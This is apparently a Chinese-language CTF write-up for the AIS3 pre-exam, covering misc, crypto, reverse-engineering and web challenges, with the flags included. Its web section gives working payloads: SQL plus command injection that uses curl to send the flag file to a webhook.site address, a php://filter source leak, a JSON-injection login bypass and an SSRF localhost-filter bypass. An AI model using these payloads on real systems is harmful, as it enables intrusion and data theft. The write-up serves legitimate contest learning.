AIS3 Preexam

Welcome

Cat Slayer `fake` | Nekogoroshi

- 暴力試出來的
- 密碼：2025830455298
- `AIS3{H1n4m1z4w4_Sh0k0gun}`

Misc

Microcheese

- code 邏輯本身有問題 ```python= while not game.ended(): game.show() print_game_menu() choice = input('it\'s your turn to move! what do you choose? ').strip()

```
if choice == '0':
    pile = int(input('which pile do you choose? '))
    count = int(input('how many stones do you remove? '))
    if not game.make_move(pile, count):
        print_error('that is not a valid move!')
        continue

elif choice == '1':
    game_str = game.save()
    digest = hash.hexdigest(game_str.encode())
    print('you game has been saved! here is your saved game:')
    print(game_str + ':' + digest)
    return

elif choice == '2':
    break

# no move -> player wins!
if game.ended():
    win = True
    break
else:
    print_move('you', count, pile)
    game.show()

# the AI plays a move
pile, count = ai_player.get_move(game)
assert game.make_move(pile, count)
print_move('i', count, pile)
```

  ```

    - 沒有處理輸入 0, 1, 2 以外的動作，所以說 AI 會一直行動
- 一直到剩下一個玩家直接拿走就可以贏了
- `AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}`

### Blind

```c=

# include <stdio.h>

# include <stdlib.h>

# include <unistd.h>

# include <fcntl.h>

# include <sys/syscall.h>

int syscall_black_list[] = {};

void make_a_syscall() { unsigned long long rax, rdi, rsi, rdx; scanf("%llu %llu %llu %llu", &rax, &rdi, &rsi, &rdx); syscall(rax, rdi, rsi, rdx); }

int main() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); puts("You can call a system call, then I will open the flag for you."); puts("Input: [rax] [rdi] [rsi] [rdx]"); close(1); make_a_syscall(); int fd = open("flag", O_RDONLY); char flag[0x100]; size_t flag_len = read(fd, flag, 0xff); write(1, flag, flag_len); return 0; }
```
```

```
 * stdout 會被 close，所以沒有輸出
* 參考的資料：https://www.796t.com/post/NGo3dQ==.html
* 用 dup 來複製
* https://filippo.io/linux-syscall-table/
    * dup -> 32
* 本來要重啟 stdout 發現被關了，`32 1 0 0`
* 之後想說不然複製 stdin 好了 `32 0 0 0` 然後就拿到 flag 了
* `AIS3{dupppppqqqqqub}`

### [震撼彈] AIS3 官網疑遭駭！
* 開啟 pcap 檔案
* follow 一下 tcp stream 可以看到其中一個封包與眾不同，滿明顯就是 shell 了
* 他的 shell 是 reverse_string(url_encode(base64_encode(command)))
* magic.ais3.org 經過 DNS 解析會錯誤
    * 在 /etc/hosts 加入 `10.153.11.126 magic.ais3.org`
* 之後在根目錄發現了 flag
* final payload : `http://magic.ais3.org:8100/Index.php?page=%3DQGN4EmYyIWZ4MWO1QmMlFGNlV2MyE2NjZmMyIzMwYzYfdWYsZ2Lu4CI0F2Y`
* `AIS3{0h!Why_do_U_kn0w_this_sh3ll!11!}`

## Crypto
### Microchip
* 改一下他的 code
* 暴力給 id 可以拿到相應的 key
* 就可以把 flag 解出來了
```python=
def generate_key(id):
    keys = list()
    temp = id
    for _ in range(4):
        keys.append(temp % 96)
        temp = int(temp / 96)
    keys.reverse()
    return keys

name = open("output.txt", "r").read().strip()

for i in range(96*96*96*96):
    keys = generate_key(i)
    padded = name

    result = ""
    for i in range(0, len(padded), 4):

        nums = list()
        for j in range(4):
            num = ord(padded[i + j]) - 32
            num = ((num - keys[j]) + 96) % 96
            nums.append(num + 32)

        result += chr(nums[3])
        result += chr(nums[2])
        result += chr(nums[1])
        result += chr(nums[0])

    if 'AIS3{' in result:
        print(result)
        break
```

- `AIS3{w31c0me_t0_AIS3_crypto0O0o0Ooo0}`

Reverse

🥒 Peekora 🥒

- `python3 -m pickletools flag_checker.pkl -a` 看 opcode
- 可以看到是很多 `__eq__` 去比較的
- 把它拼起來就可以拿到 flag 了
- `AIS3{dAmwjzphIj}`

COLORS

- 把 code http://www.jsnice.org/ 一下 ```js= 'use strict'; const _0x3eb4 = ["repeat", "1YqKovX", "NDBCMjBnMzBpNTFKNjA2MDFcMzB3NDAxMzBBNDFqNDBcNDExMzBnNzB1MzBpMTBrMzBsNDA3NjB4NTBpNTBYMTBLMTBJNDBoNTBYMDBLNDFpNTFsNzA2NzBmNDBvMTA2NTA1NzBLMTFuNTE4NzA3NDFCNTAtMTE4NDB3MzFhMTByNDF6NzBLMzA9f "substr", "output", "getElementsByTagName", "65022JgPEZp", "keydown", "length", "innerHTML", "677PRUQAU", "ArrowLeft", "QWxTM3tCYXNFNjRfaTUrYjByTkluZ35cUXdvLy14SDhXekNqN3ZGRDJleVZrdHFPTDFHaEtZdWZtWmRKcFg5fQ==", "133781JKLWBV", "ArrowUp", "90407czXCgh", "PGRpdiBzdHlsZT0id2lkdGg6IDM1MHB4OyBwb3NpdGlvbjogYWJzb2x1dGU7IGJvdHRvbTogMHB4OyBsZWZ0OiAwcHg7Ij48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGFuaW1hdGlvbjogcmFpbmJvdyAycyBsaW5lYXIgMHMgaW5maW5pdGUgbm9ybWFsIj48c "131837PcDnWL", "19pQimXL", "623605MIswVM", "charCodeAt", "join", "4WsUYDr", "686oWrfyq", "body", "map", "getElementById", "textContent", "match", "key", "302349wKdZHP", "4OYJFlQ", "input", "padStart", "Backspace"]; /**
    - @param {number} url
    - @param {?} whensCollection
    - @return {?} */ function _0x4ebd(url, whensCollection) { /** @type {number} */ url = url - 454; let _0x3eb4a7 = _0x3eb4[url]; return _0x3eb4a7; } (function(data, oldPassword) { const toMonths = _0x4ebd; for (; !![];) { try { const userPsd = -parseInt(toMonths(486)) + parseInt(toMonths(462)) * -parseInt(toMonths(478)) + -parseInt(toMonths(475)) + -parseInt(toMonths(487)) * parseInt(toMonths(471)) + -parseInt(toMonths(469)) * parseInt(toMonths(457)) + parseInt(toMonths(479)) * -parseInt(toMonths(466)) + parseInt(toMonths(473)) * parseInt(toMonths(474)); if (userPsd === oldPassword) { break; } else { data"push"; } } catch (_0xe36f7) { data"push"; } }})(_0x3eb4, 359030), (() => { /**
    - @param {?} params
    - @return {?} */ function init(params) { const unescape = internalizeProducer; if (!params[length]) { return ""; } let a = ""; let ipv6 = ""; let frameNumber = 0; for (let i = 0; i < params[length]; i++) { a = a + params charCodeAt"toString"padStart; } /** @type {number} */ frameNumber = a[length] % max / 2 - 1; if (frameNumber != -1) { a = a + "0"[repeat](max - a[length] % max); } a = aunescape(484); for (let x of a) { let pivot = parseInt(x, 2); ipv6 = ipv6 + wrap(pivot >> 6 & 7, pivot >> 9, atob(wpoStr)[pivot & 63]); } for (; frameNumber > 0; frameNumber--) { ipv6 = ipv6 + wrap(frameNumber % fps, 0, "="); } return ipv6; } const internalizeProducer = _0x4ebd; const importSave = internalizeProducer(472); const encodedChallengeObject = internalizeProducer(458); const wpoStr = internalizeProducer(468); const fps = 8; const max = 10; let obj; let hour = 0; let wrap = (tag, expressions, fn) => { return '
    ' + fn + "
    "; }; let create = (str) => { return documentinternalizeProducer(482)["innerHTML"] = init(str); }; document["addEventListener"](internalizeProducer(463), (result) => { const parseInt = internalizeProducer; if (result[parseInt(485)] === parseInt(455) && hour == 10) { obj[parseInt(483)] = obj["textContent"][parseInt(459)](0, obj["textContent"][parseInt(464)] - 1); } else { if (result["key"] === parseInt(470) && !(hour >> 1)) { return hour = hour + 1; } else { if (result[parseInt(485)] === "ArrowDown" && !(hour >> 2)) { return hour = hour + 1; } else { if (result[parseInt(485)] === parseInt(467) && (hour == 4 || hour == 6)) { return hour = hour + 1; } else { if (result[parseInt(485)] === "ArrowRight" && (hour == 5 || hour == 7)) { return hour = hour + 1; } else { if (result[parseInt(485)] === "b" && hour == 8) { return hour = hour + 1; } else { if (result["key"] === "a" && hour == 9) { return documentparseInt(461)[0]["innerHTML"] += atob(importSave), obj = documentparseInt(482), obj[parseInt(465)] = "", documentparseInt(482)[parseInt(465)] = atob(encodedChallengeObject)parseInt(484)[parseInt(481)]((clean) => { return wrap(clean[0], clean[1], clean[2]); })parseInt(477), hour = hour + 1; } else { if (result[parseInt(485)][parseInt(464)] == 1 && hour == 10) { obj[parseInt(483)] += String"fromCharCode"; } else { return; } } } } } } } create(obj[parseInt(483)]); }); })();
```

```
 * 一開始看到 arrowup arrowdown arrowright arrowleft b a 就直接試 上上下下左左右右 ba 就進到下一步了
* 基本上 function init 是 encode 的方式
* 反過來做就可以了
* `40B20g30i51J60601\30w40130A41j40\41130g70u30i10k30l40760x50i50X10K10I40h50X00K41i51l70670f40o10650570K11n51870741B50-11840w31a10r41z70K30=20=10=` 把 `=` 先刪掉 之後三個三個一組
```
```js=
function init(params) {
    const unescape = internalizeProducer;
    if (!params[length]) {
      return "";
    }
    let a = "";
    let ipv6 = "";
    let frameNumber = 0;
    for (let i = 0; i < params[length]; i++) {
      a = a + params[charCodeAt](i)["toString"](2)[padStart](8, "0");
    }
    /** @type {number} */
    frameNumber = a[length] % max / 2 - 1;
    if (frameNumber != -1) {
      a = a + "0"[repeat](max - a[length] % max);
    }
    a = a[unescape(484)](/(.{1,10})/g);
    for (let x of a) {
      let pivot = parseInt(x, 2);
      ipv6 = ipv6 + wrap(pivot >> 6 & 7, pivot >> 9, atob(wpoStr)[pivot & 63]);
    }
    for (; frameNumber > 0; frameNumber--) {
      ipv6 = ipv6 + wrap(frameNumber % fps, 0, "=");
    }
    return ipv6;
  }
```

- 將字元轉成 charCode，然後轉成字串(二進位)並補到 8 位元
- 將結果補到 10 的倍數
- 將結果以 10 個字元一組，轉成數字
- 每組產出三個字元

```python=
data = ['40B', '20g', '30i', '51J', '606', '01\', '30w', '401', '30A', '41j', '40\', '411', '30g', '70u', '30i', '10k', '30l', '407', '60x', '50i', '50X', '10K', '10l', '40h', '50X', '00K', '41i', '51l', '706', '70f', '40o', '106', '505', '70K', '11n', '518', '707', '41B', '50-', '118', '40w', '31a', '10r', '41z', '70K']
fake = "AlS3{BasE64_i5+b0rNIng~\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9}"
flag = ""
for d in data:
    num = 0
    num += int(d[0])
    num <<= 6
    num += int(d[1])
    num <<= 9
    num += fake.index(d[2])
    flag += "{0:010b}".format(num)

for i in range(0, len(flag), 8):
    print(chr(int(flag[i:i+8], 2)), end='')

print()
```

```
## Web

### 【5/22 重要公告】
* http://quiz.ais3.org:8001/?module=modules/api&id=1 很可疑
* http://quiz.ais3.org:8001/?module=php://filter/convert.base64-encode/resource=modules/api&id=1 拿到 source code
```
```php=
<?php
header('Content-Type: application/json');

include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);

if (isset($_GET['id'])) {
    $data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
    $host = str_replace(' ', '', $data['host']);
    $port = (int) $data['port'];
    $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
    echo json_encode($data);
} else {
    $json_resp = [];
    $query_res = $db->query("SELECT * FROM challenges");
    while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
    echo json_encode($json_resp);
}
{"name":"Web Challenges Monitor","host":"quiz.ais3.org","port":8001,"alive":true}
```

- 明顯是 sql injection + command injection
- 注入點是 host 有過濾空白，用 ${IFS} bypass
- final payload: `http://quiz.ais3.org:8001/?module=modules/api&id=0%20union%20select%20%22name%22,%20%22quiz.ais3.org%27;curl${IFS}https://webhook.site/44c5027c-201c-4993-ab2d-fe2c6f444aa9\?q=$(echo${IFS}`cat${IFS}/f*`|base64)%27%22,%208001`
- `AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}`

another login page

```python=
from flask import Flask, request, make_response, redirect, session, render_template, send_file
import os
import json

app = Flask(__name__)
app.secret_key = os.urandom(32)

FLAG = os.environ.get('FLAG', 'AIS3{TEST_FLAG}')
users_db = {
    'guest': 'guest',
    'admin': os.environ.get('PASSWORD', 'S3CR3T_P455W0RD')
}

@app.route('/')
def index():
    def valid_user(user):
        return users_db.get(user['username']) == user['password']

    if 'user_data' not in session:
        return render_template("login.html", message="Login Please :D")

    user = json.loads(session['user_data'])
    if valid_user(user):
        if user['showflag'] == True and user['username'] != 'guest':
            return FLAG
        else:
            return render_template("welcome.html", username=user['username'])

    return render_template("login.html", message="Verify Failed :(")

@app.route("/login", methods=['POST'])
def login():
    data = '{"showflag": false, "username": "%s", "password": "%s"}' % ( request.form["username"], request.form['password'] )
    session['user_data'] = data
    return redirect("/")

@app.route("/logout")
def logout():
    session.clear()
    return redirect("/")

@app.route("/sauce")
def sauce():
    return send_file(__file__, mimetype="text/plain")

if __name__ == '__main__':
    app.run(threaded=True, debug=True)
```

* 構造出：`{"showflag": false, "username": "123", "password": "123", "showflag": true, "password": null, "qwe": "qwe"}` 就可以過了
* final payload: `curl -X POST --data 'username=123&password=123", "showflag": true, "password": null, "qwe": "qwe' http://quiz.ais3.org:8002/login -v`
* 把 cookie 貼上去就有 flag 了
* `AIS3{/r/badUIbattles?!?!}`

HaaS

- 明顯是 ssrf 因為試 127.0.0.1 被擋下來了

- 用 `127.00000.00000.0001` bypass
- 之後會是 Alive 加上有送 status 把 status 改一下就可以拿到 source code 了
- final payload: `curl -X POST --data 'url=http://127.00000.00000.0001/&status=400' http://quiz.ais3.org:7122/haas -v`
- `AIS3{V3rY_v3rY_V3ry_345Y_55rF}`